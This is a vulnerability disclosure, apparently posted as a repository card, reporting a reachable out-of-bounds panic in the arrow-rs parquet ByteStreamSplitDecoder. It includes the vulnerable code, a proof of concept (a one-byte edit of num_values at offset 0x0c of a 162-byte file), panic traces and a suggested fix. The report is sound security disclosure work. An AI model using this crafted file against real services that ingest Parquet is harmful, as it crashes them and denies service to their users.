YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Reachable OOB-index panic (DoS) in arrow-rs parquet ByteStreamSplitDecoder on crafted BYTE_STREAM_SPLIT page β missing data-length validation
Target: arrow-rs β parquet crate
Affected version: parquet = "=59.1.0" (latest release at time of report); also unfixed on main (verified against raw GitHub source β set_data/get/join_streams_const are byte-identical and still perform no length/bounds validation).
Vulnerable file: parquet-59.1.0/src/encodings/decoding/byte_stream_split_decoder.rs
Class: Denial of Service β reachable panic / process abort (Rust bounds-check) on attacker-supplied .parquet input.
Summary
ByteStreamSplitDecoder::set_data stores the page byte buffer and the declared value count
(total_num_values, taken straight from the DataPageHeader.num_values field) with zero validation.
Unlike the sibling VariableWidthByteStreamSplitDecoder, which at least checks
data.len() % type_width == 0, the fixed-width path never verifies that
encoded_bytes.len() == total_num_values * type_size.
When a page declares more values than its data buffer can supply, get computes
stride = encoded_bytes.len() / type_size and calls join_streams_const::<4|8>, whose source
index i + j*stride then walks off the end of the source slice. Rust's bounds check fires and
aborts the process.
A single crafted .parquet file (no compression, no dictionary) reaches this from the default
high-level Arrow reader (ParquetRecordBatchReaderBuilder), so any service that ingests
untrusted Parquet is exposed to a remotely-triggerable crash.
Root cause
src/encodings/decoding/byte_stream_split_decoder.rs:
// set_data (lines 83-89): stores buffer + declared count with NO validation
fn set_data(&mut self, data: Bytes, num_values: usize) -> Result<()> {
self.encoded_bytes = data;
self.total_num_values = num_values; // <-- straight from DataPageHeader.num_values
self.values_decoded = 0;
Ok(())
}
// get (lines 91-123): computes stride from the *actual* buffer length
fn get(&mut self, buffer: &mut [T]) -> Result<usize> {
let total_remaining_values = self.total_num_values - self.values_decoded;
let num_values = total_remaining_values.min(buffer.len());
let type_size = T::get_type_size();
let stride = self.encoded_bytes.len() / type_size; // <-- derived from real len
match type_size {
4 => join_streams_const::<4>(&self.encoded_bytes, dst, stride, self.values_decoded),
8 => join_streams_const::<8>(&self.encoded_bytes, dst, stride, self.values_decoded),
_ => unreachable!(),
}
self.values_decoded += num_values;
...
}
// join_streams_const (lines 52-64): unchecked source indexing
fn join_streams_const<const TYPE_SIZE: usize>(
src: &[u8], dst: &mut [u8], stride: usize, values_decoded: usize,
) {
let sub_src = &src[values_decoded..];
for i in 0..dst.len() / TYPE_SIZE {
for j in 0..TYPE_SIZE {
dst[i * TYPE_SIZE + j] = sub_src[i + j * stride]; // <-- OOB read index -> panic
}
}
}
For a valid page, len = N*4 β stride = N β max source index = (N-1) + 3*N = 4N-1 = len-1
(fits exactly). Break the len == count*type_size invariant (declare more values than bytes) and
i + j*stride exceeds sub_src.len(), aborting the process. There is no Result-returning path
for this β it is a hard panic!/abort.
PoC
Execution-verified against the released crate parquet = "=59.1.0".
Generation (arrow-rs's own low-level writer): schema message schema { required float f; }
written with WriterProperties encoding = BYTE_STREAM_SPLIT, dictionary disabled, statistics
None, compression UNCOMPRESSED, values [1.0, 2.0, 3.0] β 162-byte valid_bss.parquet.
This is the negative control and reads back cleanly (3 rows).
Malicious file = valid file with exactly one byte changed (cmp -l: only offset 0x0c
differs, 0x06 β 0x7e). Offset 0x0c is the DataPageHeader.num_values field
(compact-thrift zigzag i32); 0x06β3 becomes 0x7eβ63. The 12-byte encoded value buffer at
offset 0x14 is untouched, so the page now claims 63 float values but supplies only 12
bytes (stride stays 3). File size unchanged (162 bytes) β metadata parses fine.
Trigger path β the DEFAULT high-level Arrow reader:
let builder = ParquetRecordBatchReaderBuilder::try_new(Bytes::from(bytes)).unwrap(); // metadata OK
for batch in builder.build().unwrap() { /* first batch = 3 rows, then PANIC */ }
The record reader reads the 3 real values (batch OK: 3 rows), loops again because the page
advertises 63 buffered values, calls ByteStreamSplitDecoder::get with values_decoded = 3 β
sub_src = src[3..] (len 9) β join_streams_const indexes sub_src[9] β panic/abort.
File hashes
93ab0331647c69e65f841a74273f7947036d9b3df3af2c23b1c1822f1b6e408d valid_bss.parquet (negative control)
cf43bed8983a5da97f9192e1471f67a5b1ff1c87a4a99368c2b3f471d355e6d0 malicious_bss.parquet (PoC)
Captured evidence (verbatim)
Negative control (valid_bss.parquet, release build)
read 162 bytes from ../valid_bss.parquet
metadata OK, 1 row groups
batch OK: 3 rows
DONE - no panic
Malicious (malicious_bss.parquet, release build, parquet 59.1.0)
read 162 bytes from ../malicious_bss.parquet
metadata OK, 1 row groups
batch OK: 3 rows
thread 'main' (93642) panicked at /home/kali/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/parquet-59.1.0/src/encodings/decoding/byte_stream_split_decoder.rs:61:38:
index out of bounds: the len is 9 but the index is 9
Debug build backtrace (RUST_BACKTRACE=1, key frames)
panicked at .../byte_stream_split_decoder.rs:61:38: index out of bounds: the len is 9 but the index is 9
2: core::panicking::panic_bounds_check
3: parquet::encodings::decoding::byte_stream_split_decoder::join_streams_const::<4> (byte_stream_split_decoder.rs:61:38)
4: <ByteStreamSplitDecoder<FloatType> as Decoder<FloatType>>::get (byte_stream_split_decoder.rs:101:18)
5: <ColumnValueDecoderImpl<FloatType> as ColumnValueDecoder>::read (column/reader/decoder.rs:243:36)
6: GenericColumnReader::read_records_with_reservation (column/reader.rs:290:51)
7..10: record_reader / PrimitiveArrayReader<FloatType>::read_records
12: ParquetRecordBatchReader::next_inner (arrow/arrow_reader/mod.rs:1495:35)
13: <ParquetRecordBatchReader as Iterator>::next
14: verify::main
One-byte difference between control and PoC (cmp -l, 1-indexed / octal)
13 6 176 # file offset 0x0c: 0x06 (num_values=3) -> 0x7e (num_values=63)
Impact
DoS: a single crafted .parquet file (uncompressed, no dictionary, 162 bytes) crashes any process
using the default arrow-rs Parquet reader once decoding reaches the BYTE_STREAM_SPLIT column.
Reachable from untrusted input; no special API β the standard ParquetRecordBatchReaderBuilder
path panics.
Suggested fix
In set_data (or at the start of get), validate that
encoded_bytes.len() == total_num_values * type_size (and reject remainders), returning a
ParquetError instead of allowing join_streams_const to index out of bounds β mirroring the
data.len() % type_width == 0 check already present in VariableWidthByteStreamSplitDecoder, but
tightened to the exact value-count relationship.
Dedup / novelty
Distinct from the three previously-filed arrow-rs Parquet bugs:
- footer-rowgroups alloc DoS,
- pushdecoder footer underflow,
DeltaLengthByteArrayDecoderslice OOB (decoding.rs:1010-1011).
This one is a different source file (encodings/decoding/byte_stream_split_decoder.rs), a
different encoding (BYTE_STREAM_SPLIT vs DELTA_LENGTH_BYTE_ARRAY), and a different primitive
path (FLOAT/DOUBLE fixed-width). No public issue/PR/CVE was found for a ByteStreamSplitDecoder
OOB panic (only feature-add PRs #6159/#6222 and an unrelated RleValueDecoder OOB fix #7441).
Note: VariableWidthByteStreamSplitDecoder (FIXED_LEN_BYTE_ARRAY) shares the same
join_streams_const and only validates data.len() % type_width, not the value-count
relationship, so it is plausibly affected by the same class β execution-verified here only for the
fixed-width FLOAT path.